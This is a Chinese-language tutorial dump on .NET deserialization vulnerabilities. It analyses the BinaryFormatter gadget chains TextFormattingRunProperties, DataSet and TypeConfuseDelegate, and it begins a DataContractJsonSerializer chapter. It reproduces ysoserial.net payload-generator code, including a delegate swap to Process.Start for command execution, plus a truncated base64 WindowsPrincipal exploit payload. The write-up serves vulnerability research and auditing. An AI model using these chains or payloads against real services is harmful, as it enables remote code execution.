https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210422095122097.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210422101622310.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210422101622310.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210422101757836.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210422101757836.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210422102027123.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210422102027123.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210422102207857.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210422102207857.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210422105259759.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210422105259759.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210422105406526.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210422105406526.png -------------------------------------------------------------------------------- /BinaryFormatter.assets/image-20210422105650889.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/BinaryFormatter.assets/image-20210422105650889.png -------------------------------------------------------------------------------- /BinaryFormatter.md: -------------------------------------------------------------------------------- 1 | # BinaryFormatter 2 | 3 | BinaryFormatter将对象序列化为二进制流,命名空间位于`System.Runtime.Serialization.Formatters.Binary`。[微软文档](https://docs.microsoft.com/zh-cn/dotnet/standard/serialization/binaryformatter-security-guide)也已经标注了使用BinaryFormatter会造成严重的RCE漏洞。 4 | 5 | # 命名空间结构 6 | 7 | 观察其实现,发现其有多个序列化和反序列化方法,并实现IRemotingFormatter, IFormatter两个接口,序列化和反序列化的用法,以及代理选择器在第一节[dotnet serialize 101](./dotnet-serialize-101.md)中已经讲解过,这里不再赘述。 8 | 9 | ![image-20210420091613814](BinaryFormatter.assets/image-20210420091613814.png) 10 | 11 | # 攻击链 12 | 13 | ysoserial.net中所有的gadget都支持BinaryFormatter,其原因必须提到TextFormattingRunProperties链,也得益于TextFormattingRunProperties链条而衍生出多个其他链。接下来我们来看几个ysoserial.net的反序列化链。 14 | 15 | ## TextFormattingRunProperties 16 | 17 | 查看ysoserial.net中TextFormattingRunPropertiesGenerator生成类的定义,发现TextFormattingRunPropertiesMarshal类对象实现了对TextFormattingRunProperties类的重定义序列化过程,将`_xaml`字段赋值给`ForegroundBrush`字段。 18 | 19 | ![image-20210420094454184](BinaryFormatter.assets/image-20210420094454184.png) 20 | 21 | 使用dnspy反编译看下ForegroundBrush字段到底有什么猫腻。该DLL位置在ysoserial.net工具中就有,路径为`ysoserial.net\ysoserial\dlls\Microsoft.PowerShell.Editor.dll`。 22 | 23 | 测试代码如下,编译出来使用dnspy调试。 24 | 25 | ```csharp 26 | using System; 27 | using System.IO; 28 | using System.Runtime.Serialization; 29 | using System.Runtime.Serialization.Formatters.Binary; 30 | using Microsoft.VisualStudio.Text.Formatting; 31 | namespace BinaryFormatterSerialize 32 | { 33 | [Serializable] 34 | public class TextFormattingRunPropertiesMarshal : ISerializable 35 | { 36 | protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) 37 | { 38 | } 39 | 40 | string _xaml; 41 | public void GetObjectData(SerializationInfo info, StreamingContext context) 42 | { 43 | Type typeTFRP = typeof(TextFormattingRunProperties); 44 | info.SetType(typeTFRP); 45 | info.AddValue("ForegroundBrush", _xaml); 46 | } 47 | public TextFormattingRunPropertiesMarshal(string xaml) 48 | { 49 | _xaml = xaml; 50 | } 51 | } 52 | class Program 53 | { 54 | static void Main(string[] args) 55 | { 56 | string xaml_payload = File.ReadAllText(@"C:\Users\ddd\source\repos\xml.txt"); 57 | TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload); 58 | 59 | using (MemoryStream memoryStream = new MemoryStream()) 60 | { 61 | // 构建formatter 62 | BinaryFormatter binaryFormatter = new BinaryFormatter(); 63 | binaryFormatter.Serialize(memoryStream, payload); 64 | memoryStream.Position = 0; 65 | binaryFormatter.Deserialize(memoryStream); 66 | } 67 | Console.ReadKey(); 68 | } 69 | } 70 | } 71 | ``` 72 | 73 | ```xml 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | ``` 85 | 86 | 引用`ysoserial.net\ysoserial\dlls\Microsoft.PowerShell.Editor.dll`时项目的dotnet版本应为dotnet4.5 87 | 88 | 找到命名空间`Microsoft.VisualStudio.Text.Formatting`,在序列化构造函数中下一个断点。 89 | 90 | ![image-20210420095151296](BinaryFormatter.assets/image-20210420095151296.png) 91 | 92 | 发现TextFormattingRunProperties实现ISerializable接口,在其序列化的构造函数中,进行`this.GetObjectFromSerializationInfo("ForegroundBrush", info)`。跟进看下 93 | 94 | ![image-20210420095335873](BinaryFormatter.assets/image-20210420095335873.png) 95 | 96 | 看见了什么?`XamlReader.Parse(@string)`,那这就接上了我们前文[XmlSerializer](./XmlSerializer.md)中的ObjectDataProvider的链。 97 | 98 | ![image-20210420103402429](BinaryFormatter.assets/image-20210420103402429.png) 99 | 100 | 如此一来整个链就通了: 101 | 102 | 1. 自写一个TextFormattingRunPropertiesMarshal类实现ISerializable接口 103 | 2. 在GetObjectData序列化时给ForegroundBrush字段赋值为xaml的payload,并且将对象类型赋值为TextFormattingRunProperties类。 104 | 3. 在反序列化时触发反序列化构造函数 105 | 4. 反序列化构造函数触发XamlReader.Parse(payload) RCE 106 | 107 | 限制在于Microsoft.PowerShell.Editor.dll。原作者说明: 108 | 109 | > 该库是PowerShell的一部分,该PowerShell已预安装在从Windows Server 2008 R2和Windows 7开始的所有Windows版本中。 110 | 111 | ## DataSet 112 | 113 | 看下ysoserial.net的payload 114 | 115 | ```csharp 116 | [Serializable] 117 | public class DataSetMarshal : ISerializable 118 | { 119 | byte[] _fakeTable; 120 | 121 | public void GetObjectData(SerializationInfo info, StreamingContext context) 122 | { 123 | info.SetType(typeof(System.Data.DataSet)); 124 | info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary); 125 | info.AddValue("DataSet.DataSetName", ""); 126 | info.AddValue("DataSet.Namespace", ""); 127 | info.AddValue("DataSet.Prefix", ""); 128 | info.AddValue("DataSet.CaseSensitive", false); 129 | info.AddValue("DataSet.LocaleLCID", 0x409); 130 | info.AddValue("DataSet.EnforceConstraints", false); 131 | info.AddValue("DataSet.ExtendedProperties", (System.Data.PropertyCollection)null); 132 | info.AddValue("DataSet.Tables.Count", 1); 133 | info.AddValue("DataSet.Tables_0", _fakeTable); 134 | } 135 | 136 | public void SetFakeTable(byte[] bfPayload) 137 | { 138 | _fakeTable = bfPayload; 139 | } 140 | 141 | public DataSetMarshal(byte[] bfPayload) 142 | { 143 | SetFakeTable(bfPayload); 144 | } 145 | 146 | public DataSetMarshal(object fakeTable):this(fakeTable, new InputArgs()) 147 | { 148 | // This won't use anything we might have defined in ysoserial.net BinaryFormatter process (such as minification) 149 | } 150 | 151 | public DataSetMarshal(object fakeTable, InputArgs inputArgs) 152 | { 153 | MemoryStream stm = new MemoryStream(); 154 | if (inputArgs.Minify) 155 | { 156 | ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter(); 157 | fmtLocal.Serialize(stm, fakeTable); 158 | } 159 | else 160 | { 161 | BinaryFormatter fmt = new BinaryFormatter(); 162 | fmt.Serialize(stm, fakeTable); 163 | } 164 | 165 | SetFakeTable(stm.ToArray()); 166 | } 167 | 168 | public DataSetMarshal(MemoryStream ms) 169 | { 170 | SetFakeTable(ms.ToArray()); 171 | } 172 | } 173 | 174 | public class DataSetGenerator:GenericGenerator 175 | { 176 | public override object Generate(string formatter, InputArgs inputArgs) 177 | { 178 | 179 | byte[] init_payload = (byte[]) new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs); 180 | 181 | DataSetMarshal payloadDataSetMarshal = new DataSetMarshal(init_payload); 182 | 183 | if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) 184 | || formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase) 185 | || formatter.Equals("soapformatter", StringComparison.OrdinalIgnoreCase)) 186 | { 187 | return Serialize(payloadDataSetMarshal, formatter, inputArgs); 188 | } 189 | else 190 | { 191 | throw new Exception("Formatter not supported"); 192 | } 193 | } 194 | } 195 | ``` 196 | 197 | 生成序列化数据的GetObjectData方法做了以下操作 198 | 199 | 1. type设置为System.Data.DataSet 200 | 2. DataSet.RemotingFormat 设置为binary格式 201 | 3. 将DataSet.Tables_0设置为序列化之后的TextFormattingRunPropertiesGenerator byte数组 202 | 4. DataSet.Tables.Count 赋值为1 203 | 204 | 那么反序列化的时候我们需要关注DataSet类的序列化构造函数,分析如下 205 | 206 | ![image-20210421095616187](BinaryFormatter.assets/image-20210421095616187.png) 207 | 208 | 在DataSet的序列化构造函数采用了this()方法重载`DataSet(SerializationInfo info, StreamingContext context, bool ConstructSchema)` 209 | 210 | 默认赋值serializationFormat和schemaSerializationMode分别为Xml和IncludeSchema。然后遍历info信息判断赋值DataSet.RemotingFormat为Binary 211 | 212 | ![image-20210421100209814](BinaryFormatter.assets/image-20210421100209814.png) 213 | 214 | SchemaSerializationMode.DataSet在我们构造的反序列化对象中并不存在,所以仍会保持值为`SchemaSerializationMode.IncludeSchema`。当DataSet.RemotingFormat为Binary时会进入`this.DeserializeDataSet(info, context, serializationFormat, schemaSerializationMode);` 215 | 216 | ![image-20210421100326388](BinaryFormatter.assets/image-20210421100326388.png) 217 | 218 | 这个方法中会反序列化Schema和对应的Data 219 | 220 | ![image-20210421100507589](BinaryFormatter.assets/image-20210421100507589.png) 221 | 222 | 当schemaSerializationMode==SchemaSerializationMode.IncludeSchema时会进行BinaryFormatter.Deserialize(),条件满足,所以这时候需要看下memoryStream中buffer的来源。 223 | 224 | ```csharp 225 | byte[] buffer = (byte[])info.GetValue(string.Format(CultureInfo.InvariantCulture, "DataSet.Tables_{0}", new object[] { i }), typeof(byte[])); 226 | ``` 227 | 228 | 其中i来自`int @int = info.GetInt32("DataSet.Tables.Count");`,所以`info.GetValue()`取的是DataSet.Tables_0字段的值,类型为byte数组。而在294行还有一步`this.DeserializeDataSetProperties(info, context);` 229 | 230 | ![image-20210421101806649](BinaryFormatter.assets/image-20210421101806649.png) 231 | 232 | 在这里get了一些结构的信息,这里我们构造的时候也要加上,不然294行会报错,导致走不到Deserialize()。 233 | 234 | 那么现在就清晰了,DataSet.Tables_0字段的byte数组会被自动反序列化,我们可以将TextFormattingRunProperties生成的byte数组赋值给DataSet.Tables_0字段,然后就可以RCE了。 235 | 236 | 整个流程: 237 | 238 | 1. 生成TextFormattingRunProperties的payload转byte数组存放到DataSet.Tables_0字段 239 | 2. 填充DataSet的其他字段满足反序列化条件使其不报错 240 | 3. 进入DataSet的反序列化构造函数DeserializeDataSet 该函数自动反序列化其中的Schema和Data 241 | 4. 在DeserializeDataSetSchema()中获取DataSet.Tables_0字段的值进行BinaryFormatter.Deserialize()。 242 | 243 | 这条链的限制也很明了,依赖于TextFormattingRunProperties。 244 | 245 | ## TypeConfuseDelegate 246 | 247 | TypeConfuseDelegate中文翻译过来叫类型混淆委托。那么学习这条链之前必须要了解什么是委托。 248 | 249 | ### 委托和多播委托 250 | 251 | 委托本质上是一个存有方法引用的变量,我们来创建一个委托。 252 | 253 | ```csharp 254 | class Program 255 | { 256 | public delegate void MyDelegate(string s); 257 | 258 | public static void PrintString(string s) 259 | { 260 | Console.WriteLine(s); 261 | } 262 | static void Main(string[] args) 263 | { 264 | MyDelegate myDelegate = new MyDelegate(PrintString); 265 | myDelegate("hello from delegate"); 266 | } 267 | } 268 | ``` 269 | 270 | **需要注意的是传递给委托的方法签名必须和定义的委托签名一致,即返回值、参数一致。** 271 | 272 | 通过new MyDelegate(PrintString)将PrintString的引用赋值给myDelegate,然后使用myDelegate("hello from delegate")传递参数。myDelegate持有对PrintString的引用。 273 | 274 | 多播委托则是持有对委托列表的引用,把多播委托想象成一个列表,将委托的方法加入列表中,多播委托会按顺序依次调用每个委托。 275 | 276 | ```csharp 277 | class Program 278 | { 279 | public delegate void MyDelegate(string s); 280 | 281 | public static void PrintString(string s) 282 | { 283 | Console.WriteLine($"print {s} to screen."); 284 | } 285 | public static void WriteToFile(string s) 286 | { 287 | Console.WriteLine($"write {s} to file."); 288 | } 289 | static void Main(string[] args) 290 | { 291 | MyDelegate myDelegate = new MyDelegate(PrintString); 292 | MyDelegate myDelegate1 = new MyDelegate(WriteToFile); 293 | myDelegate += myDelegate1; 294 | myDelegate("hello"); 295 | } 296 | } 297 | // 输出 298 | print hello to screen. 299 | write hello to file. 300 | ``` 301 | 302 | 通过+=的形式添加多个委托,执行myDelegate("hello")调用了PrintString和WriteToFile两个方法。不仅仅可以用+=的形式来合并委托,还可以用MulticastDelegate.Combine(printString, writeFile)的形式。 303 | 304 | ```csharp 305 | static void Main(string[] args) 306 | { 307 | MyDelegate printString = new MyDelegate(PrintString); 308 | MyDelegate writeFile = new MyDelegate(WriteToFile); 309 | Delegate twoDelegte = MulticastDelegate.Combine(printString, writeFile); 310 | twoDelegte.DynamicInvoke("something"); 311 | Delegate[] delegates = twoDelegte.GetInvocationList(); 312 | foreach (var item in delegates) 313 | { 314 | Console.WriteLine(item.Method); 315 | } 316 | } 317 | 318 | // 输出 319 | print something to screen. 320 | write something to file. 321 | Void PrintString(System.String) 322 | Void WriteToFile(System.String) 323 | ``` 324 | 325 | 通过多播委托的twoDelegte.GetInvocationList()可以得到委托的列表。 326 | 327 | 接下来来看TypeConfuseDelegate这条链。 328 | 329 | ![](BinaryFormatter.assets/image-20210422095122097.png) 330 | 331 | 在ysoserial.net中的实现是通过`SortedSet`和Comparer进行利用的。SortedSet是一个可以排序的泛型集合,既然涉及到排序,那么肯定涉及到排序的规则,即比较器Comparer。 332 | 333 | ### SortedSet和Comparer 334 | 335 | 先来看微软文档中非常简单的一个例子 336 | 337 | ```csharp 338 | using System; 339 | using System.Collections; 340 | using System.Collections.Generic; 341 | 342 | namespace BinaryFormatterSerialize 343 | { 344 | public class ByFileExtension : IComparer 345 | { 346 | string xExt, yExt; 347 | 348 | CaseInsensitiveComparer caseiComp = new CaseInsensitiveComparer(); 349 | 350 | public int Compare(string x, string y) 351 | { 352 | // Parse the extension from the file name. 353 | xExt = x.Substring(x.LastIndexOf(".") + 1); 354 | yExt = y.Substring(y.LastIndexOf(".") + 1); 355 | 356 | // Compare the file extensions. 357 | int vExt = caseiComp.Compare(xExt, yExt); 358 | if (vExt != 0) 359 | { 360 | return vExt; 361 | } 362 | else 363 | { 364 | // The extension is the same, 365 | // so compare the filenames. 366 | return caseiComp.Compare(x, y); 367 | } 368 | } 369 | } 370 | class Program 371 | { 372 | public static void Main(string[] args) 373 | { 374 | var set = new SortedSet(new ByFileExtension()); 375 | set.Add("test.c"); 376 | set.Add("test.b"); 377 | set.Add("test.a"); 378 | foreach (var item in set) 379 | { 380 | Console.WriteLine(item.ToString()); 381 | } 382 | Console.ReadKey(); 383 | } 384 | } 385 | } 386 | 387 | // 输出 388 | test.a 389 | test.b 390 | test.c 391 | ``` 392 | 393 | 可见向set集合中添加的test.c、test.b、test.a按照后缀被自动排序。这里需要注意,自动排序的前提是必须要有两个以上的元素,即第二次添加的时候才会自动排序。 394 | 395 | 再来看自写的ByFileExtension()比较器,实现了`IComparer`接口,重写Compare()方法,返回一个int值。 396 | 397 | 此时回头看ysoserial.net中的代码 398 | 399 | ```csharp 400 | Delegate da = new Comparison(String.Compare); 401 | Comparison d = (Comparison)MulticastDelegate.Combine(da, da); 402 | IComparer comp = Comparer.Create(d); 403 | SortedSet set = new SortedSet(comp); 404 | ``` 405 | 406 | 用到了一个Comparison类 407 | 408 | ![image-20210422101622310](BinaryFormatter.assets/image-20210422101622310.png) 409 | 410 | 该类继承自`Comparer`抽象类,其Compare接收两个泛型参数,构造函数中赋值`_comparison`,`_comparison`是一个`Comparison`委托类型,其函数签名与比较函数相同。 411 | 412 | ![image-20210422102027123](BinaryFormatter.assets/image-20210422102027123.png) 413 | 414 | 而`Comparer`抽象类实现了`IComparer`接口 415 | 416 | ![image-20210422101757836](BinaryFormatter.assets/image-20210422101757836.png) 417 | 418 | 两个类均可用来序列化。 419 | 420 | 此时思考一下,Process.Start中有多个重载。 421 | 422 | ![image-20210422102207857](BinaryFormatter.assets/image-20210422102207857.png) 423 | 424 | 如果我们将Process.Start设置为比较器,那么向集合中添加的值就是Process.Start的参数,由此来进行命令执行。在委托中我们提到,委托的方法签名和委托必须一致,而对于`SortedSet `类来说,其比较函数类型为: 425 | 426 | ``` 427 | int Comparison(T x, T y); 428 | ``` 429 | 430 | 而Process.Start()的是: 431 | 432 | ``` 433 | public static Process Start(string fileName, string arguments); 434 | ``` 435 | 436 | 两个比较函数的返回类型不一致,一个是Process,一个是int,如果直接用Process.Start作为比较器,会编译失败。那么这个时候我们就需要借助多播委托了。 437 | 438 | ```csharp 439 | // 创建一个string的比较器 440 | Delegate da = new Comparison(String.Compare); 441 | // 用两个string的比较器合并为一个多播委托 442 | Comparison d = (Comparison)MulticastDelegate.Combine(da, da); 443 | // Create()函数返回new ComparisonComparer(d) 444 | IComparer comp = Comparer.Create(d); 445 | // 将ComparisonComparer赋值给SortedSet的比较器 446 | SortedSet set = new SortedSet(comp); 447 | // set.Add("cmd.exe") 448 | set.Add(inputArgs.CmdFileName); 449 | // set.Add("calc") 450 | set.Add(inputArgs.CmdArguments); 451 | // 反射修改_invocationList 452 | FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); 453 | object[] invoke_list = d.GetInvocationList(); 454 | // 修改_invocationList 添加 Process::Start(string, string) 455 | invoke_list[1] = new Func(Process.Start); 456 | fi.SetValue(d, invoke_list); 457 | ``` 458 | 459 | 至于为什么多播委托可以解决方法签名不一致的问题,原作者给出的解释如下: 460 | 461 | > The only weird thing about this code is TypeConfuseDelegate. It’s a long standing issue that .NET delegates don’t always enforce their type signature, especially the return value. In this case we create a two entry multicast delegate (a delegate which will run multiple single delegates sequentially), setting one delegate to String::Compare which returns an int, and another to Process::Start which returns an instance of the Process class. This works, even when deserialized and invokes the two separate methods. It will then return the created process object as an integer, which just means it will return the pointer to the instance of the process object. 462 | 463 | 简单理解就是多播委托传递的是指针。 464 | 465 | 在SortedSet中OnDeserialization会在反序列化时触发,调用Add函数 466 | 467 | ![image-20210422105259759](BinaryFormatter.assets/image-20210422105259759.png) 468 | 469 | 而在Add的时候,经过多次重载调用了比较器的Compare()方法。即我们反射修改的Process.Start(string,string) 470 | 471 | ![image-20210422105406526](BinaryFormatter.assets/image-20210422105406526.png) 472 | 473 | 整个链条 474 | 475 | ![image-20210422105650889](BinaryFormatter.assets/image-20210422105650889.png) 476 | 477 | 至此分析就结束了。另外需要注意的是,`Comparer.Create(c)`该函数在dotnet4.5中才出现,低版本的dotnet无法利用成功。 478 | 479 | # 审计 480 | 481 | ![image-20210421102914580](BinaryFormatter.assets/image-20210421102914580.png) 482 | 483 | BinaryFormatter有多个反序列化方法重载,审计时应多加关注。 484 | 485 | # 后文 486 | 487 | 本节讲解了BinaryFormatter在反序列化中的使用及TextFormattingRunProperties和DataSet两条反序列化利用链。 -------------------------------------------------------------------------------- /DataContractJsonSerializer.assets/image-20210512093736654.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractJsonSerializer.assets/image-20210512093736654.png -------------------------------------------------------------------------------- /DataContractJsonSerializer.assets/image-20210513105243050.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractJsonSerializer.assets/image-20210513105243050.png -------------------------------------------------------------------------------- /DataContractJsonSerializer.assets/image-20210513105454590.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractJsonSerializer.assets/image-20210513105454590.png -------------------------------------------------------------------------------- /DataContractJsonSerializer.assets/image-20210513105622853.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractJsonSerializer.assets/image-20210513105622853.png -------------------------------------------------------------------------------- /DataContractJsonSerializer.assets/image-20210513105757132.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/DataContractJsonSerializer.assets/image-20210513105757132.png -------------------------------------------------------------------------------- /DataContractJsonSerializer.md: -------------------------------------------------------------------------------- 1 | # DataContractJsonSerializer 2 | 3 | 在dotnet中对于对象转json的处理有几大库,DataContractJsonSerializer、Json.net、JavaScriptSerializer。其中DataContractJsonSerializer、JavaScriptSerializer是dotnet自带的标准库,本文讲解DataContractJsonSerializer的使用。 4 | 5 | DataContractJsonSerializer命名空间位于[System.Runtime.Serialization.Json](https://docs.microsoft.com/zh-cn/dotnet/api/system.runtime.serialization.json?view=net-5.0),程序集位于System.Runtime.Serialization.Json.dll 6 | 7 | 8 | 9 | ![image-20210512093736654](DataContractJsonSerializer.assets/image-20210512093736654.png) 10 | 11 | 该类同样继承自XmlObjectSerializer抽象类,有多个构造方法和序列化、反序列化方法。其中构造方法中都需要传入type参数来控制序列化类型。 12 | 13 | # demo 14 | 15 | ```csharp 16 | using System; 17 | using System.IO; 18 | using System.Runtime.Serialization; 19 | using System.Runtime.Serialization.Json; 20 | 21 | namespace DataContractJsonDeserializer 22 | { 23 | [DataContract] 24 | class Person 25 | { 26 | [DataMember] 27 | internal string name; 28 | 29 | [DataMember] 30 | internal int age; 31 | } 32 | class Program 33 | { 34 | static void Main(string[] args) 35 | { 36 | var p = new Person(); 37 | p.name = "John"; 38 | p.age = 42; 39 | var memoryStream = new MemoryStream(); 40 | var ser = new DataContractJsonSerializer(typeof(Person)); 41 | ser.WriteObject(memoryStream, p); 42 | memoryStream.Position = 0; 43 | var sr = new StreamReader(memoryStream); 44 | Console.WriteLine(sr.ReadToEnd()); 45 | memoryStream.Position = 0; 46 | Person p1 = (Person)ser.ReadObject(memoryStream); 47 | Console.WriteLine(p1.name); 48 | Console.ReadKey(); 49 | } 50 | } 51 | } 52 | ``` 53 | 54 | Person需要标记DataContract特性,序列化成员需要标记DataMember特性。通过WriteObject和ReadObject进行序列化和反序列化,demo和DataContractSerializer大致相同。注意构造函数传入了Person的type类型。如果实际环境type参数可控,那么可以造成RCE。 55 | 56 | # WindowsPrincipal攻击链 57 | 58 | yso生成的攻击链如下 59 | 60 | ```json 61 | {"__type":"WindowsPrincipal:#System.Security.Principal","m_identity":{"System.Security.ClaimsIdentity.actor":"AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQYAAAAmU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LnZlcnNpb24sU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5Lm5hbWVDbGFpbVR5cGUsU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LnJvbGVDbGFpbVR5cGUkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yJVN5c3RlbS5TZWN1cml0eS5DbGFpbXNJZGVudGl0eS5jbGFpbXMLbV91c2VyVG9rZW4BAQEBAQMNU3lzdGVtLkludFB0cgYCAAAAAzEuMAYDAAAAOmh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL25hbWUGBAAAAEBodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL2dyb3Vwc2lkBgUAAACUEkFBRUFBQUQvLy8vL0FRQUFBQUFBQUFBTUFnQUFBRjVOYVdOeWIzTnZablF1VUc5M1pYSlRhR1ZzYkM1RlpHbDBiM0lzSUZabGNuTnBiMjQ5TXk0d0xqQXVNQ3dnUTNWc2RIVnlaVDF1WlhWMGNtRnNMQ0JRZFdKc2FXTkxaWGxVYjJ0bGJqMHpNV0ptTXpnMU5tRmtNelkwWlRNMUJBRUFBQUFsVTNsemRHVnRMbE5sWTNWeWFYUjVMa05zWVdsdGN5NURiR0ZwYlhOSlpHVnVkR2wwZVFnQUFBQUpiVjkyWlhKemFXOXVCMjFmWVdOMGIzSVViVjloZFhSb1pXNTBhV05oZEdsdmJsUjVjR1VTYlY5aWIyOTBjM1J5WVhCRGIyNTBaWGgwQjIxZmJHRmlaV3dVYlY5elpYSnBZV3hwZW1Wa1RtRnRaVlI1Y0dVVWJWOXpaWEpwWVd4cGVtVmtVbTlzWlZSNWNHVVNiVjl6WlhKcFlXeHBlbVZrUTJ4aGFXMXpBUU1CQkFFQkFRRWxVM2x6ZEdWdExsTmxZM1Z5YVhSNUxrTnNZV2x0Y3k1RGJHRnBiWE5KWkdWdWRHbDBlVUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQ0FBQUFCZ01BQUFBRE1TNHdDZ29KQkFBQUFBb0dCUUFBQURwb2RIUndPaTh2YzJOb1pXMWhjeTU0Yld4emIyRndMbTl5Wnk5M2N5OHlNREExTHpBMUwybGtaVzUwYVhSNUwyTnNZV2x0Y3k5dVlXMWxCZ1lBQUFBOGFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNjeTh5TURBNEx6QTJMMmxrWlc1MGFYUjVMMk5zWVdsdGN5OXliMnhsQmdjQUFBQ0FBMEZCUlVGQlFVUXZMeTh2TDBGUlFVRkJRVUZCUVVGQlJVRlJRVUZCU1RSQ1ZUTnNlbVJIVm5STWEwNTJZa2Q0YkZrelVuQmlNalY2VEd0a2JHSnRWbmxoVjAxMVZFZHNlbVJIUVhoWE1YUlVaVmhPTUZwWE1IVlZNbFpxWkZoS2NHUklhM1ZSTW5ob1lWY3hla3hyVG5OWlYyeDBURU5DZEdNeVRuWmpiWGh3V1dsM1oxWnRWbmxqTW14Mlltb3dNRXhxUVhWTlF6UjNURU5DUkdSWGVEQmtXRXBzVUZjMWJHUllVbmxaVjNkelNVWkNNVmx0ZUhCWk1IUnNaVlpTZG1FeVZuVlFWMGt6VGpKRk1WbDZWVEpOVkd0NlRrZFZkMDlFYkdSWVVVMUJRVUZCUjFneWJEQmFWekY2UWxZNWVtRlljR3hEUmpreVdsaEtlbUZYT1hWQmQwRkJTR3hPTldNelVteGlVelZVV2xkT01XTnRiREJsVXpWRVlrZEdjR0pZVFhWUk1uaG9ZVmN4WWxoUlowbERVVWxCUVVGQlFVRkJRVUZCUVVGQlFVRmpRMEZCUVVGQlFVVkJRVUZCUVVGQlFVRkJlSGhVWlZoT01GcFhNSFZWTWxacVpGaEtjR1JJYTNWUk1uaG9ZVmN4ZWt4clRuTlpWMngwUTNjOVBRVUVBQUFBUWsxcFkzSnZjMjltZEM1V2FYTjFZV3hUZEhWa2FXOHVWR1Y0ZEM1R2IzSnRZWFIwYVc1bkxsUmxlSFJHYjNKdFlYUjBhVzVuVW5WdVVISnZjR1Z5ZEdsbGN3RUFBQUFQUm05eVpXZHliM1Z1WkVKeWRYTm9BUUlBQUFBR0NBQUFBTE1GUEQ5NGJXd2dkbVZ5YzJsdmJqMGlNUzR3SWlCbGJtTnZaR2x1WnowaWRYUm1MVEUySWo4K0RRbzhUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlJRTFsZEdodlpFNWhiV1U5SWxOMFlYSjBJaUJKYzBsdWFYUnBZV3hNYjJGa1JXNWhZbXhsWkQwaVJtRnNjMlVpSUhodGJHNXpQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQzl3Y21WelpXNTBZWFJwYjI0aUlIaHRiRzV6T25Oa1BTSmpiSEl0Ym1GdFpYTndZV05sT2xONWMzUmxiUzVFYVdGbmJtOXpkR2xqY3p0aGMzTmxiV0pzZVQxVGVYTjBaVzBpSUhodGJHNXpPbmc5SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzSWo0TkNpQWdQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaTVQWW1wbFkzUkpibk4wWVc1alpUNE5DaUFnSUNBOGMyUT